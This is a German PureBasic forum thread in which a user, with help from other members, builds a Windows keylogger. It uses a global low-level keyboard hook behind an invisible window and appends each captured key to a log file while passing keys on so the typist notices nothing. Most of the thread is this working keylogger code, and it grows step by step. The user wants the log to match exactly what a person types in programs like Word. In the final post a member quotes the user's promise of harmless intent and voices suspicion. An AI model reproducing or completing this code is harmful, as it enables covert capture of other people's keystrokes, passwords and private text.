Seite 2 von 6
Verfasst: 29.12.2008 23:49
von orderinchaos
@kiffi
es gibt keine ausgabe im debugger und keine fehlermeldung !
ich habe inzwischen ein wenig rumgeschraubt und folgendes ist mir völlig unklar :
Code: Alles auswählen
Global hWindow,hook
Structure KBDLLHOOKSTRUCT
vkCode.l
scanCode.l
flags.l
time.l
dwExtraInfo.l
EndStructure
Procedure.l myKeyboardHook(nCode, wParam, *p.KBDLLHOOKSTRUCT)
If nCode = #HC_ACTION
If wParam = #WM_KEYDOWN Or wParam = #WM_SYSKEYDOWN Or wParam = #WM_KEYUP Or wParam = #WM_SYSKEYUP
#LLKHF_ALTDOWN = $20
If *p\vkCode => #VK_A And *p\vkCode <= #VK_Z
If *p\vkCode = #VK_A
Debug "A"
ElseIf *p\vkCode = #VK_B
Debug "B"
ElseIf *p\vkCode = #VK_C
Debug "C"
EndIf
ProcedureReturn 1
EndIf
EndIf
EndIf
ProcedureReturn CallNextHookEx_(0, nCode, wParam, *p)
EndProcedure
Procedure AskForExit()
If MessageRequester("EXIT", "End the KeyboardHook ??",#MB_YESNO) = #IDYES
UnhookWindowsHookEx_(hook) : End
EndIf
EndProcedure
#WH_KEYBOARD_LL = 13
hook = SetWindowsHookEx_(#WH_KEYBOARD_LL,@myKeyboardHook(),GetModuleHandle_(0),0)
If hook = 0: End: EndIf
hWindow = OpenWindow(1,0,0,10,10,"k8D h00K",#PB_Window_Invisible)
Repeat
WaitWindowEvent()
Delay(5)
ForEver
dieser code funktioniert einwandfrei, bis auf den fehlenden AskForExit() aufruf. wenn ich aber aus diesem code die WaitWindowEvent() abfrage entferne oder gar die ganze OpenWindow() prozedur entferne, was ich ja eigentlich auch möchte, dann geht gar nichts mehr.... kann mir einer sagen weshalb? ich weiss nicht mehr weiter.
hier noch der veränderte code :
Code: Alles auswählen
#WH_KEYBOARD_LL = 13
hook = SetWindowsHookEx_(#WH_KEYBOARD_LL,@myKeyboardHook(),GetModuleHandle_(0),0)
If hook = 0: End: EndIf
Repeat
Delay(5)
ForEver
übrigens
vielen dank für die hilfe, bin dank euch wirklich schon am verstehen wie ein keyboardhook zu coden ist, komm auf jeden fall schon schritt für schritt voran !

Verfasst: 30.12.2008 00:03
von tft
Hallo ..
würde mal sagen ohne Window keine Hoks. Denn die Huks sind ja an des Window als Process reference gekoppelt.
Ist aber nur eine annnahme.
Denn Event funktionieren meines erachtens auch nur wenn midestens ein Window geöffnet wurde. Dies kann ja auch festeckt werden. Wenn du keines sehen möchtest.
gruss TFT
Verfasst: 30.12.2008 00:06
von orderinchaos
@tft
ja es scheint fast so, schade, dass da noch ein window im background laufen muss, aber scheint nicht anders zu funktionieren.... =/
danke für deine / eure hilfe
Verfasst: 30.12.2008 11:44
von orderinchaos
guten morgen,
also nochmals eine frage : dieser code :
Code: Alles auswählen
Global hWindow,hook
Structure KBDLLHOOKSTRUCT
vkCode.l
scanCode.l
flags.l
time.l
dwExtraInfo.l
EndStructure
Procedure.l myKeyboardHook(nCode, wParam, *p.KBDLLHOOKSTRUCT)
If nCode = #HC_ACTION
If wParam = #WM_KEYDOWN Or wParam = #WM_SYSKEYDOWN Or wParam = #WM_KEYUP Or wParam = #WM_SYSKEYUP
#LLKHF_ALTDOWN = $20
If *p\vkCode = #VK_ESCAPE
Exit = 1
Debug "Escaped !"
ProcedureReturn 1
EndIf
If *p\vkCode => #VK_A And *p\vkCode <= #VK_Z
If *p\vkCode = #VK_A
Debug "A"
ProcedureReturn 1
ElseIf *p\vkCode = #VK_B
Debug "B"
ProcedureReturn 1
ElseIf *p\vkCode = #VK_C
Debug "C"
ProcedureReturn 1
EndIf
ProcedureReturn 1
EndIf
EndIf
EndIf
ProcedureReturn CallNextHookEx_(hook, nCode, wParam, *p)
EndProcedure
Procedure AskForExit()
If MessageRequester("EXIT", "End the KeyboardHook ??",#MB_YESNO) = #IDYES
UnhookWindowsHookEx_(hook) : End
EndIf
EndProcedure
#WH_KEYBOARD_LL = 13
hook = SetWindowsHookEx_(#WH_KEYBOARD_LL,@myKeyboardHook(),GetModuleHandle_(0),0)
If hook = 0: End: EndIf
hWindow = OpenWindow(1,0,0,0,0,"k8D h00K",#PB_Window_Invisible)
Repeat
WaitWindowEvent()
Delay(5)
Until Exit = 1
AskForExit()
funktioniert soweit ganz gut.... die tastenanschläge werden korrekt im debugger ausgegeben.
das problem ist jedoch, dass sie NUR im debugger ausgegeben werden. im texteditor z.b. nicht. die ganze tastatur wird während der laufzeit des programms blockiert.... keine chance etwas einzugeben !
weiss vielleicht jemand wo der fehler liegt??
vielen dank schon mal
Verfasst: 30.12.2008 12:28
von real
Nachdem du die Tasten gehookt hast musst du sie an den Windows-Handler weiterleiten, sonst "frisst" dein Programm sie!
Sprich: Überdenk mal deine "ProcedureReturn 1", die in deinen If-Blöcken stehen.
Außerdem macht es hier wohl generell mehr Sinn, mit Select-Case statt If-Statements zu arbeiten.
Verfasst: 30.12.2008 12:39
von orderinchaos
gut vielen dank !! werd mir das ansehen und mein ergebnis posten.....

Verfasst: 30.12.2008 12:52
von orderinchaos
gut hab's nun gelöst :
Code: Alles auswählen
Procedure.l myKeyboardHook(nCode, wParam, *p.KBDLLHOOKSTRUCT)
If nCode = #HC_ACTION
If wParam = #WM_KEYDOWN Or wParam = #WM_SYSKEYDOWN Or wParam = #WM_KEYUP Or wParam = #WM_SYSKEYUP
#LLKHF_ALTDOWN = $20
Select *p\vkCode
Case #VK_ESCAPE
Exit = 1
Case #VK_A
Debug "a"
Case #VK_B
Debug "b"
Case #VK_C
Debug "c"
Case #VK_D
Debug "d"
Case #VK_E
Debug "e"
Case #VK_F
Debug "f"
EndSelect
EndIf
EndIf
ProcedureReturn CallNextHookEx_(hook, nCode, wParam, *p)
EndProcedure
kann mir aber noch einer sagen wie ich eine getasynckeystate_ abfrage einbauen kann, damit ich GROSSBUCHSTABEN erkennen kann?
so funktioniert es nämlich nicht :
Code: Alles auswählen
If wParam = #WM_KEYDOWN Or wParam = #WM_SYSKEYDOWN Or wParam = #WM_KEYUP Or wParam = #WM_SYSKEYUP
#LLKHF_ALTDOWN = $20
While GetAsyncKeyState_(#VK_SHIFT)
Select *p\vkCode
Case #VK_ESCAPE
Exit = 1
Case #VK_A
Debug "a"
Case #VK_B
Debug "b"
EndSelect
Wend
EndIf
und ich hab keine ahnung weshalb nicht.... und die folgende zeile funktioniert auch nicht :
wieso nicht ?? bin an meinen grenzen.... stäntig gibt es wieder komplikationen und ich versteh nicht weshalb....
vielen dank schon mal!!

Verfasst: 30.12.2008 13:14
von real
1. While eröffnet eine Schleife. Du willst in der Hook-Prozedur NICHT WIRKLICH eine Schleife starten!!!
2. Wenn du ein WaitWindowEvent() prüfst, lässt du in dieser Schleife das Delay() weg. WaitWindowEvent() liefert nur ein Ergebnis, wenn auch ein Event aufgetreten ist.
3. Wenn du im Hauptprogramm UND Prozeduren Variablen verwenden willst, definierst du sie als "global".
Verfasst: 30.12.2008 17:35
von orderinchaos
@real
vielen dank für deine hilfe, hat wunderbar geklappt !!
nun aber noch ne frage. habe meinen code zu diesem hier umgebaut :
Code: Alles auswählen
Procedure.l myKeyboardHook(nCode, wParam, *p.KBDLLHOOKSTRUCT)
If nCode = #HC_ACTION
If wParam = #WM_KEYDOWN Or wParam = #WM_SYSKEYDOWN Or wParam = #WM_KEYUP Or wParam = #WM_SYSKEYUP
#LLKHF_ALTDOWN = $20
If GetAsyncKeyState_(#VK_ESCAPE)
If MessageRequester("EXIT", "End the KeyboardHook ??",#MB_YESNO) = #IDYES
UnhookWindowsHookEx_(hook)
End
EndIf
EndIf
Select *p\vkCode
Case #VK_A
WriteChar2File("---log---.txt","a")
Case #VK_B
WriteChar2File("---log---.txt","b")
Case #VK_C
WriteChar2File("---log---.txt","c")
Case #VK_D
WriteChar2File("---log---.txt","d")
Case #VK_E
Debug "e"
Case #VK_F
Debug "f"
EndSelect
EndIf
EndIf
ProcedureReturn CallNextHookEx_(hook, nCode, wParam, *p)
EndProcedure
die WriteChar2File Prozedur ist simpel und sieht wie folgt aus :
Code: Alles auswählen
Procedure WriteChar2File(File$,Char$)
OpenFile(0,File$)
FileSeek(0,Lof(0))
WriteString(0,Char$)
CloseFile(0)
EndProcedure
das ganze funktioniert auch wirklich so wie ich mir das vorstelle... die zeichen werden in die datei geschrieben, ABER
mein einziges problem ist, dass es nicht nur ein zeichen sondern jeweils mehrere zeichen schreibt (statt "a" eben "aa")...
das möchte ich natürlich nur wenn der benutzer auch wirklich länger auf der taste bleibt und somit in seinem programm (z.b. word) ebenfalls mehrere zeichen ausgegeben werden.... es soll also immer genau die gleiche anzahl an zeichen ausgegeben werden, wie auch beim benutzer...
kann mir einer helfen das zu bewerkstelligen? habe es mit einem einfachen Delay(50) versucht, funktioniert jedoch NICHT....
weiss jemand rat?
Verfasst: 30.12.2008 17:45
von Kiffi
orderinchaos hat geschrieben:Ich versichere hiermit, dass mein Keylogger Niemandem einen Schaden anrichten wird, sondern lediglich meinem Wissenshunger dienen!!
orderinchaos hat geschrieben:das möchte ich natürlich nur wenn der benutzer auch wirklich länger auf der taste bleibt und somit in seinem programm (z.b. word) ebenfalls mehrere zeichen ausgegeben werden.... es soll also immer genau die gleiche anzahl an zeichen ausgegeben werden, wie auch beim benutzer...
mh, wieso stellt sich bei mir nach und nach ein ungutes Gefühl ein? Mit
Wissensdurst hat das IMO nicht mehr viel zu tun, oder?